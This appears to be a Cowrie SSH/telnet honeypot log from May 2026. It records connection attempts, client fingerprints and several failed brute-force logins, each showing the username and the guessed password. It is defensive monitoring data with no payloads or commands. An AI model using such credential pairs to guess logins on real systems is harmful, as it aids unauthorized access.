{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:15.250516Z","src_ip":"117.121.214.50","session":"80158ced3dbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a","message":"login attempt [root/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:16.291872Z","src_ip":"117.121.214.50","session":"80158ced3dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:17.557045Z","src_ip":"117.121.214.50","session":"80158ced3dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33224,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6c42092bc0a","protocol":"telnet","message":"New connection: 152.42.224.71:33224 (10.17.0.5:23) [session: e6c42092bc0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:18.490605Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33230,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf2819858cf1","protocol":"telnet","message":"New connection: 152.42.224.71:33230 (10.17.0.5:23) [session: bf2819858cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:18.662590Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33236,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfbf82cca61c","protocol":"telnet","message":"New connection: 152.42.224.71:33236 (10.17.0.5:23) [session: dfbf82cca61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:21.629160Z"}
{"eventid":"cowrie.session.closed","duration":43.173978328704834,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:25.239778Z","src_ip":"152.42.224.71","session":"f6302b357a29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00162291526794,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:26.014568Z","src_ip":"152.42.224.71","session":"76411f8bb05d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35366,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a5ef806d04","protocol":"telnet","message":"New connection: 152.42.224.71:35366 (10.17.0.5:23) [session: b6a5ef806d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:27.271394Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35358,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3c42feec4b5","protocol":"telnet","message":"New connection: 152.42.224.71:35358 (10.17.0.5:23) [session: c3c42feec4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:27.625387Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35368,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f0bfa69a863","protocol":"telnet","message":"New connection: 152.42.224.71:35368 (10.17.0.5:23) [session: 0f0bfa69a863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:28.325138Z"}
{"eventid":"cowrie.session.closed","duration":9.6924307346344,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:28.354915Z","src_ip":"152.42.224.71","session":"bf2819858cf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.14531135559082,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:31.361466Z","src_ip":"152.42.224.71","session":"8add72cbe851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35380,"dst_ip":"10.17.0.5","dst_port":23,"session":"13c95d4f9620","protocol":"telnet","message":"New connection: 152.42.224.71:35380 (10.17.0.5:23) [session: 13c95d4f9620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:31.803741Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56346,"dst_ip":"10.17.0.5","dst_port":23,"session":"5865881d875e","protocol":"telnet","message":"New connection: 152.42.224.71:56346 (10.17.0.5:23) [session: 5865881d875e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:37.721976Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":49384,"dst_ip":"10.17.0.5","dst_port":22,"session":"6932a6097d8a","protocol":"ssh","message":"New connection: 166.1.144.134:49384 (10.17.0.5:22) [session: 6932a6097d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:38.854044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:38.862915Z","src_ip":"166.1.144.134","session":"6932a6097d8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:38.960494Z","src_ip":"166.1.144.134","session":"6932a6097d8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"136363","message":"login attempt [root/136363] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:39.361226Z","src_ip":"166.1.144.134","session":"6932a6097d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56356,"dst_ip":"10.17.0.5","dst_port":23,"session":"e22e79e8069c","protocol":"telnet","message":"New connection: 152.42.224.71:56356 (10.17.0.5:23) [session: e22e79e8069c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:39.644329Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56358,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf68c7df9bb2","protocol":"telnet","message":"New connection: 152.42.224.71:56358 (10.17.0.5:23) [session: bf68c7df9bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:40.446050Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:40.465676Z","src_ip":"166.1.144.134","session":"6932a6097d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.42.22.94","src_port":50536,"dst_ip":"159.203.135.109","dst_port":23,"session":"58b54399693d","protocol":"telnet","message":"New connection: 185.42.22.94:50536 (159.203.135.109:23) [session: 58b54399693d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:43.933231Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":39122,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1ecfb6ff6aa","protocol":"ssh","message":"New connection: 43.135.139.74:39122 (10.17.0.5:22) [session: f1ecfb6ff6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:47.803262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:47.808574Z","src_ip":"43.135.139.74","session":"f1ecfb6ff6aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:47.877648Z","src_ip":"43.135.139.74","session":"f1ecfb6ff6aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkimujgik","message":"login attempt [root/dkimujgik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:48.186588Z","src_ip":"43.135.139.74","session":"f1ecfb6ff6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:49.258708Z","src_ip":"43.135.139.74","session":"f1ecfb6ff6aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46224,"dst_ip":"10.17.0.5","dst_port":22,"session":"df07646c17b1","protocol":"ssh","message":"New connection: 80.94.92.184:46224 (10.17.0.5:22) [session: df07646c17b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:52.437682Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56594,"dst_ip":"10.17.0.5","dst_port":23,"session":"a667a1ac4a4d","protocol":"telnet","message":"New connection: 152.42.224.71:56594 (10.17.0.5:23) [session: a667a1ac4a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:52.594059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:53.184742Z","src_ip":"80.94.92.184","session":"df07646c17b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:53.188707Z","src_ip":"80.94.92.184","session":"df07646c17b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:53.951346Z","src_ip":"80.94.92.184","session":"df07646c17b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.108442068099976,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:54.470259Z","src_ip":"152.42.224.71","session":"9fc01a5ef12d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:55.290245Z","src_ip":"80.94.92.184","session":"df07646c17b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.01481318473816,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:21:57.947905Z","src_ip":"185.42.22.94","session":"58b54399693d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57318,"dst_ip":"10.17.0.5","dst_port":23,"session":"009d911c6233","protocol":"telnet","message":"New connection: 152.42.224.71:57318 (10.17.0.5:23) [session: 009d911c6233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:00.893723Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":25024,"dst_ip":"10.17.0.5","dst_port":22,"session":"31bf226aa42e","protocol":"ssh","message":"New connection: 165.154.227.158:25024 (10.17.0.5:22) [session: 31bf226aa42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:04.816052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:04.823133Z","src_ip":"165.154.227.158","session":"31bf226aa42e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:05.036972Z","src_ip":"165.154.227.158","session":"31bf226aa42e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"akshay","message":"login attempt [root/akshay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:05.917969Z","src_ip":"165.154.227.158","session":"31bf226aa42e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:07.133673Z","src_ip":"165.154.227.158","session":"31bf226aa42e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":34446,"dst_ip":"10.17.0.5","dst_port":22,"session":"29483b75b655","protocol":"ssh","message":"New connection: 52.236.56.129:34446 (10.17.0.5:22) [session: 29483b75b655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:09.751034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:09.756084Z","src_ip":"52.236.56.129","session":"29483b75b655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:09.826357Z","src_ip":"52.236.56.129","session":"29483b75b655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"az78qs45","message":"login attempt [root/az78qs45] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:10.138090Z","src_ip":"52.236.56.129","session":"29483b75b655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.02131485939026,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:10.511827Z","src_ip":"152.42.224.71","session":"e6c42092bc0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:11.211631Z","src_ip":"52.236.56.129","session":"29483b75b655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52598,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd35bf997cf","protocol":"telnet","message":"New connection: 152.42.224.71:52598 (10.17.0.5:23) [session: 1bd35bf997cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:11.229698Z"}
{"eventid":"cowrie.session.closed","duration":120.001784324646,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:12.182393Z","src_ip":"152.42.224.71","session":"470aca938095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.068971395492554,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:14.697994Z","src_ip":"152.42.224.71","session":"dfbf82cca61c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.416537046432495,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:16.010497Z","src_ip":"152.42.224.71","session":"a667a1ac4a4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":45844,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce6d2cfbceb7","protocol":"ssh","message":"New connection: 165.154.6.86:45844 (10.17.0.5:22) [session: ce6d2cfbceb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:16.879463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:22:16.887877Z","src_ip":"165.154.6.86","session":"ce6d2cfbceb7","protocol":"ssh"}
